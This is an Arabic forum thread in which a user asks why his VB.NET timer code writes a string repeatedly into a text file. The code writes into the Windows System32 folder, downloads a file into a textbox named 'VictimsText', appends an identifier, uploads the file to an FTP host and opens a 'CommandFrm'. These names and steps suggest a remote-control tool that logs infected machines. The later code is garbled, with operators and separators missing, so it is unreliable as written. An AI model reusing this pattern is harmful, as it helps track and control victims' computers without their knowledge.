تقييم الموضوع :
  • 0 أصوات - بمعدل 0
  • 1
  • 2
  • 3
  • 4
  • 5
ما الخطأ في كودي ؟؟؟؟؟؟؟؟؟
#1
السلام عليكم اخواني ...
اخواني هذا كود يقوم في الاتي ...

1- حذف ملف معين بصيغة txt
2- تحميل نفس الملف من موقع معين
3-قراءة الملف في تكست بوكس
4- فحص اذا كان التكست بوكس يحتوي على String معين انا محدده
5-رفع الملف الى نفس استضافة الموقع الذي تم التحميل منه

ملاحظة : الاستضافة والموقع خاص بي واكيد بعرف Username و Password
ولكن مشكلتي لا يعتبرها الفجول بيسك مشكلة ....
لاني اريد كتابة String المعين مرة واحدة في الملف بصيغة TXT
ولكن عندما اشغل البرنامج يقوم بكتابة String المعين باكثر من
مرة وفي سطر واحد وانا لا اريد الا ان يكتبها مرة واحدة في ملف TXT


الكود للتوضيح اكثر :

طبعا الكود في Timer :

PHP كود :
Dim sys32 As String = (Environment.GetFolderPath(Environment.SpecialFolder.System)) + "\"
    Dim wc As WebClient = New WebClient()

        Dim mriliS As String = My.Settings.MrILIS


        MainFrm.VinfoTimer.Enabled = False

        Application.DoEvents()


        Dim DURL As String




        If My.Computer.FileSystem.FileExists(sys32 & "
\" & "Vinfo.txt") Then

            My.Computer.FileSystem.DeleteFile(sys32 & "
\" & "Vinfo.txt")
        End If





        Application.DoEvents()

        '*******************Download Vinfo.ili ************************************
        DURL = My.Settings.URL & "
/" & "Vinfo.ili"

        Application.DoEvents()


        wc.DownloadFile(DURL, sys32 + "
Vinfo.txt")



        Application.DoEvents()




        '**************************************************************************





        '*******************Read Vinfo.ili *******************************





        Dim oReaderVinfo As StreamReader


        oReaderVinfo = New StreamReader(sys32 + "
Vinfo.txt", True)
        Dim readVinfofile As String = oReaderVinfo.ReadToEnd
        VictimsText.Text = (readVinfofile)
        


        oReaderVinfo.Close()

        '*******************************************************************




        '**************Write to Vinfo.ili********************************************


        Application.DoEvents()



        If VictimsText.Text.Contains(mriliS) Then

           

       else






        Dim FILE_NAME As String = sys32 + "
Vinfo.txt"
        Dim i As Integer
        Dim aryText(4) As String

        aryText(0) = mriliS


        MsgBox(My.Settings.MrILIS)

        Dim objWriter As New System.IO.StreamWriter(FILE_NAME)

        For i = 0 To 0

            objWriter.WriteLine(aryText(i))

        Next


        objWriter.Close()






 End If



        Application.DoEvents()

        '**********************************************************************



        '********** Upload Vinfo.ili*********************************************

       Dim requestVinfo As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("
ftp:// رابط fTP للملف المراد رفعه"), System.Net.FtpWebRequest)



        
requestVinfo.Credentials = New System.Net.NetworkCredential("يوزر نيم الاستضافة الخاصة بي""باسورد الاستضافة الخاصة بي")
        
requestVinfo.Method System.Net.WebRequestMethods.Ftp.UploadFile

        Dim file
() As Byte System.IO.File.ReadAllBytes(sys32 "Vinfo.txt")

        
Dim strz As System.IO.Stream requestVinfo.GetRequestStream()

        For 
offset As Integer 0 To file.Length Step 1024

            Dim chunkSize 
As Integer file.Length offset 1
            
If chunkSize 1024 Then chunkSize 1024
            strz
.Write(fileoffsetchunkSize)
        
Next


        strz
.Write(file0file.Length)
        
strz.Close()
        
strz.Dispose()




        
'**********************************************************************************




        Application.DoEvents()

        CommandFrm.Show()


        Application.DoEvents() 
الرد
تم الشكر بواسطة:


المواضيع المحتمل أن تكون متشابهة .
الموضوع : الكاتب الردود : المشاهدات : آخر رد
  معرفة مصدر الخطأ عبد العزيز البسكري 2 0 15-02-18, 04:14 AM
آخر رد: عبد العزيز البسكري
  ما الخطأ في هذا الكود الميساني 1 60 18-12-17, 01:02 PM
آخر رد: طالب برمجة
  ايه الخطأ هنا Mina Botros 6 270 11-07-17, 06:48 PM
آخر رد: silverlight
  ما الخطأ في حفظ جدول إلى ملف نصي ahmedfa71 14 500 15-05-17, 05:47 PM
آخر رد: العواد الصغير
  ما هو سبب الخطأ A Generic Error Occurred in GDI+ ابراهيم النعيمي 8 300 22-03-17, 08:20 AM
آخر رد: abdualla
  [سؤال] ما هو الخطأ في الكود التالي .. أرجو المساعدة abo_alaa315 0 237 22-01-17, 02:27 PM
آخر رد: abo_alaa315
  [VB.NET] معني رسالة الخطأ يسرى7 10 797 16-01-17, 01:08 AM
آخر رد: يسرى7
  كيفية تغير رسائل الخطأ؟ noway 4 530 12-01-17, 02:05 AM
آخر رد: يسرى7
  ما الخطأ فى هذا الكود ؟ what's error in my code ? twitter acount creator الماجيك مسعد 16 1,122 13-12-16, 01:21 AM
آخر رد: الماجيك مسعد
  [SQL] ماهو سبب هذا الخطأ بعد تثبيت SQL thevirus 2 421 30-11-16, 08:34 PM
آخر رد: ابو ليلى

التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 1 ) ضيف كريم